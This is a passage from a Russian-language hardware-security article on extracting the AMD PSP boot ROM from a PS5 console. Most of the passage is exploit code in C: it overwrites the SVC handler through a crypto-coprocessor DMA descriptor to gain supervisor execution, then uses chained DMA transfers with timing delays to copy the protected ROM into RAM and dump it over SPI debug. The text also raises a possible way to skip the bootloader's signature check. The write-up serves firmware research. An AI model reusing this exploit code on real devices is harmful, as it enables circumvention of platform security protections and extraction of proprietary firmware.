// will be ran in supervisor mode void priviledged() { // test output to SPI debug dbg_16(0x7777); } void rewrite_svc_vector() { unsigned int *descr = (unsigned int *)0x73000; descr[0x3C/4] = (unsigned int)priviledged; // new SVC handler pointer descr[0] = 0x500011; // command descr[1] = 0x4; // size descr[2] = 0x7303C; // source low descr[3] = 0x020000; // source high descr[4] = 0x28; // dest low descr[5] = 0x020000; // dest high descr[6] = 0; // key low descr[7] = 0; // key high svc_write(0x3002008, 0x73000); // head svc_write(0x3002004, 0); // tail svc_write(0x3002000, 0x17); // start } void main() { rewrite_svc_vector(); asm("SVC 0"); // this should jump to priviledged() }
Пока вот это вот не завелось, отлаживал через системный вызов №2 – по нему IPL читает ABL1 и прочие модули. Если на анализаторе чтения нет – значит, что-то пошло не так. Автор доклада использовал отладку POST-кодами, я решил обойтись без этого.

Ну и финал – для чтения ROM осталось перенести код настройки DMA из примера и запустить.
void priviledged() { unsigned int *buf = (unsigned int*)0x73000; // use stack area as buffer for (int a = 0; a < 0x10000; a += 0x100) // write in parts of 0x100 { ccp_passthrough(CCP_TYPED_ADDR(buf, CCP_MEMTYPE_PSP), CCP_TYPED_ADDR(a, CCP_MEMTYPE_SYSTEM), 0x100); for(int i = 0; i < 0x80; i++) { dbg_16(((unsigned short*)buf)[i]); // output data into SPI debug } } // probably long DMA delay by accessing flash area ccp_passthrough_chain_push(CCP_TYPED_ADDR(WRITE_SYSTEM_MEM_START+0x1000, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(SMN_FLASH_ADDR, CCP_MEMTYPE_PSP), 0x80); // probably short DMA delay by copying RAM to itself for (int i = 0; i < 2800; i++){ ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), 0x18000); } // copying PSP ROM into RAM ccp_passthrough_chain_push(CCP_TYPED_ADDR(0, CCP_MEMTYPE_SYSTEM), CCP_TYPED_ADDR(0xFFFF0000, CCP_MEMTYPE_PSP), 0x10000); ccp_passthrough_chain_finalize(); CCP_HEAD = 0x00+0x00; CCP_TAIL = 0x00+0x20*gChainCounter; CCP_CTRL_STATUS = 0x73; // trigger DMA delay(2); *(volatile uint32_t*)0x3200090 = 1; // reset the CPU while(1); }
Первый раз в дебаг выводится мусор, но если нажать кнопку ребута на плате, во второй раз в дебаге будет содержимое ROM:

Что с этим можно сделать дальше? Как минимум, изучить код для понимания процесса загрузки PS5. Например, автор доклада подметил, что если особым образом вызвать прерывание CPU, можно запустить offchip-bootloader, пропустив проверку подписи. Правда, на вопрос, как именно это сделать и возможно ли это вообще, ответа на данный момент нет.
А пока что благодаря обнаруженному эксплоиту в разы облегчается задача изучения AMD PSP и базирующихся на нём программных функций. Также благодаря тому, что PS5 ROM теперь может считать кто угодно, быть может, в ближайшее время мы увидим новости по новым обнаруженным эксплоитам в процессе её загрузки.
